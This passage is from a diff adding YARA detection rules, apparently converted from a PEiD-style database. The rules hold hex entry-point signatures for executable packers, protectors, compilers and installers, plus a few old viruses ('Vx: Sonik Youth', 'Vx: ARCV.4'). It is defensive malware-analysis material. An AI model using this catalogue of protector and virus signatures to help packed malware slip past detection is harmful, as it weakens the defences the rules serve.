+		$2 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _SimplePack_111_Method_1__bagieTMX_
+{
+	meta:
+		description = "SimplePack 1.11 Method 1 -> bagie[TMX"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC}
+		$1 = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC F3 A5 89 C1 83 E1 03 F3 A4 5F 5E 8B 04 24 89 EA 03 57 0C E8 3F 01 00 00 58 68 00 40 00 00 FF 77 10 50 FF 93 3C 03 00 00 83 C7 28 4E 75 9E BE ?? ?? ?? ?? 09 F6 0F 84 0C 01 00 00 01 EE 8B 4E 0C 09 C9 0F 84 FF 00 00 00 01 E9 89 CF 57 FF 93 30 03 00 00 09 C0 75 3D 6A 04 68 00 10 00 00 68 00 10 00 00 6A 00 FF 93 38 03 00 00 89 C6 8D 83 6F 02 00 00 57 50 56 FF 93 44 03 00 00 6A 10 6A 00 56 6A 00 FF 93 48 03 00 00 89 E5}
+		$2 = {60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt"
+	strings:
+		$0 = {EB 02 ?? ?? E8 E7 1C 00 00}
+		$1 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE}
+		$2 = {E8 01 00 00 00 ?? ?? E8 ?? 00 00 00}
+		$3 = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+		$4 = {EB ?? ?? ?? ?? ?? ?? 00}
+		$5 = {EB 02 ?? ?? EB 02}
+		$6 = {EB 02 CD 20}
+		$7 = {E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B}
+		$8 = {0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8}
+		$9 = {EB 01 ?? E8 ?? 00 00 00}
+		$10 = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint or $8 at entrypoint or $9 at entrypoint or $10 at entrypoint
+}
+rule _UPXHiT_001__djsiba_
+{
+	meta:
+		description = "UPX$HiT 0.0.1 -> dj-siba"
+	strings:
+		$0 = {94 BC ?? ?? 43 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _COM2TXT_103__112_
+{
+	meta:
+		description = "COM2TXT 1.03 - 1.12"
+	strings:
+		$0 = {54 5F 4F 4F 57 57 33 3D 58 58 57 58 35 20 32 50 59 35 77 33 50 5F 2D 6C 2E 50 2D 4B 44 31 45 70 2D 4F 4C 50 5A 2D 70 4A 50 2D 70 77 34 30 50 51 58 35 66 73 50 75 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00 35 46 65 2C 78 50 51 58 2D 3D 2E 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_20x__24x__Jeremy_Collake_
+{
+	meta:
+		description = "PEBundle 2.0x - 2.4x -> Jeremy Collake"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 00 87 DD 83 BD}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_v11010291_
+{
+	meta:
+		description = "Wise Installer Stub v1.10.1029.1"
+	strings:
+		$0 = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_11__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.1 -> coban2k"
+	strings:
+		$0 = {BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+		$1 = {BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_V194__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX V1.94 -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+		$1 = {FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_30353043__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.035-3.043 -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+		$1 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _JEDMICS_CCITT4_Graphics_format_
+{
+	meta:
+		description = "JEDMICS CCITT4 Graphics format"
+	strings:
+		$0 = {80 00 00 00 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Sonik_Youth_
+{
+	meta:
+		description = "Vx: Sonik Youth"
+	strings:
+		$0 = {8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protector_093__CRYPToCRACk_
+{
+	meta:
+		description = "PE Protector 0.9.3 --> CRYPToCRACk"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00}
+		$1 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yC_v13_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yC v1.3 by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+		$1 = {55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _PowerBASICWin_800_
+{
+	meta:
+		description = "PowerBASIC/Win 8.00"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 14 04 00 00 E9 19 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v146_
+{
+	meta:
+		description = "PECompact v1.46"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0"
+	strings:
+		$0 = {55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$1 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 ?? ?? 83}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_032a_fake_PECompact_14x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PECompact 1.4x) -> emadicius"
+	strings:
+		$0 = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _The_aPE_Inline_Patch_Basic_Advanced_Stealth_
+{
+	meta:
+		description = "The aPE Inline Patch Basic, Advanced, Stealth)"
+	strings:
+		$0 = {B9 ?? ?? ?? 00 E8 ?? ?? 00 00 89 01 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Phonebook_configuration_file_
+{
+	meta:
+		description = "Phonebook configuration file"
+	strings:
+		$0 = {50 68 6F 6E 65 62 6F 6F 6B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 63 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_NorthStar_PE_Shrinker_13_
+{
+	meta:
+		description = "PseudoSigner 0.1 [NorthStar PE Shrinker 1.3"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_300a__361__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.00a - 3.61 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Trainer_Creation_Kit_v5_Trainer_
+{
+	meta:
+		description = "Trainer Creation Kit v5 Trainer"
+	strings:
+		$0 = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40}
+		$1 = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40 00 68 34 45 40 00 50 E8 15 02 00 00 6A 00 FF 35 30 45 40 00 50 6A 02 E8 4D 02 00 00 A3 74 45 40 00 6A 00 68 D4 10 40 00 6A 00 6A 01 FF 35 70 45 40 00 E8 02 02 00 00 B3 0A FE CB 74 10 FF 35 74 45 40 00 E8 27 02 00 00 83 F8 00 74 EC B3 0A FE CB 74 10 FF 35 30 45 40 00 E8 B7 01 00 00 83 F8 00 74 EC B3 0A FE CB 74 16 68 25 45 40 00 E8 96 01 00 00 83 F8 00 74 ED 6A 00 E8 90 01 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C7 00 00 00 6A 01 FF 35 70 45 40 00 E8 B0 01 00 00 50 6A 01 68 80 00 00 00 FF}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _PECompact_140b5__140b6_
+{
+	meta:
+		description = "PECompact 1.40b5 - 1.40b6"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 00 87 DD 8B 85 A6 A0 40 00 01 85 03 A0 40 00 66 C7 85 00 A0 40 00 90 90 01 85 9E A0 40 00 BB 8A 11 00 00 03 9D AA A0 40 00 03 9D A6 A0 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v012__XLock_
+{
+	meta:
+		description = "XCR v0.12 -> X-Lock"
+	strings:
+		$0 = {60 9C E8 00 00 00 00 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_2403__Jitit_
+{
+	meta:
+		description = "Thinstall 2.403 -> Jitit"
+	strings:
+		$0 = {6A 00 FF 15 20 50 40 00 E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V035__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.35 -> Dwing   * 20080321"
+	strings:
+		$0 = {58 8D 54 83 58 FF 16 72 5C 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF ?? ?? ?? ?? ?? ?? 8D 6C 6D 00 8D AC AB 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 AC 33 C9 E9 03 01 00 00 B1 30 8B 6B 08 03 D1 FF 16 73 51 03 D1 FF 16 72 1B 03 D1 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 43 08 8A 00 E9 D5 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 3C 07 B0 08 72 02 B0 0B 50 55 8D 93 78 07 00 00 FF 56 B0 5D 91 E9 99 00 00 00 3C 07 B0 07 72 02 B0 0A 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 B0 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 A8 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 88 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 A8}
+	condition:
+		$0
+}
+rule _Vprotect_204110505__CoooLie_
+{
+	meta:
+		description = "Vprotect 2.0.4.110505 -> CoooLie"
+	strings:
+		$0 = {8D BF FF FF FF FF 66 87 F9 60 61 66 87 F9 8D BF 01 00 00 00 F7 D2 9C 9D F7 D2 8B FF 8D AD F6 FF FF FF 66 52 8D 9B F9 FF FF FF F6 D1 66 8B FF F6 D1 8D 9B 07 00 00 00 66 5A 8D AD 0A 00 00 00 8D AD E1 FF FF FF 66 F7 D0 55 F7 D6 8D AD EB FF FF FF 8B FF 8D AD 15 00 00 00 F7 D6 5D 66 F7 D0 8D AD 1F 00 00 00 66 52 66 5A 8B 67 28 8B ED 61 66 57 66 5F 52 5A 9D 66 50 F6 D4 F6 D4 66 58 F6 D1 8D 9B E4 FF FF FF 8D AD E7 FF FF FF 8D 89 EF FF FF FF 55 5D 8D 89 11 00 00 00 8D AD 19 00 00 00 8D 9B 1C 00 00 00 F6 D1 60 8A C9 61}
+	condition:
+		$0 at entrypoint
+}
+rule _NetSafe_ZIPProt_
+{
+	meta:
+		description = "NetSafe ZIP-Prot"
+	strings:
+		$0 = {FA 5A 86 C6 EE 86 C6 8B EC 8B 5E FA 4B 5F 4B 83 EC 06 75 01 83 8E DB E4 21 8B F3 80 CB 0E 0C 02 13 37 73 01 C5 8F 07 E6 21 2B 7E FE 8B 6F FE 7D 01 83 80 E3 FD 73 02 C5 C5 89 3F CC EA F0 FF 00 F0 CD 20 E9 9F 59 E3 06 2B F9 47 1F 47 30 25 4F}
+	condition:
+		$0 at entrypoint
+}
+rule _May_be_Pklite_Header_Version_v6v2_extra__0__v5_
+{
+	meta:
+		description = "May be Pklite Header Version %v6.^%v2 [extra > 0 - %v5"
+	strings:
+		$0 = {50 6B}
+		$1 = {50 4B}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _MSLRH_v032a_fake_PE_Crypt_102__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PE Crypt 1.02) -> emadicius"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Overlay_
+{
+	meta:
+		description = "Overlay"
+	strings:
+		$0 = {55 8B EC 83 C4 D4 53 56 57 33 C0 89 45 F0 89 45 E4 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_vxx_
+{
+	meta:
+		description = "PEtite vx.x"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50}
+		$1 = {B8 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v15b3_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.5b3"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_ARCV4_
+{
+	meta:
+		description = "Vx: ARCV.4"
+	strings:
+		$0 = {E8 00 00 5D 81 ED 06 01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06}
+		$1 = {E8 00 00 5D 81 ED 06 01 81 FC 4F 50 74 0B 8D B6 86 01 BF 00 01 57 A4 EB 11 1E 06}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_PE_Protect_09_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Protect 0.9"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9}
+		$1 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pelles_C_450_DLL_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 4.50 DLL (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 85 DB 75 0D 83 3D ?? ?? ?? ?? 00 75 04 31 C0 EB 57 83 FB 01 74 05 83 FB 02 75}
+		$1 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 85 DB 75 0D 83 3D ?? ?? ?? ?? 00 75 04 31 C0 EB 57 83 FB 01 74 05 83 FB 02 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v110b6_
+{
+	meta:
+		description = "PECompact v1.10b6"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_032a_fake_PEBundle_20x__24x__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29}
+	condition:
+		$0 at entrypoint
+}
+rule _ZProtect_v144__lifeengines_
+{
+	meta:
+		description = "ZProtect v1.4.4 -> lifeengines"
+	strings:
+		$0 = {E8 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V25XV26X__SetiSoft_Team__20080116_
+{
+	meta:
+		description = "Private exe Protector V2.5X-V2.6X -> SetiSoft Team * 20080116"
+	strings:
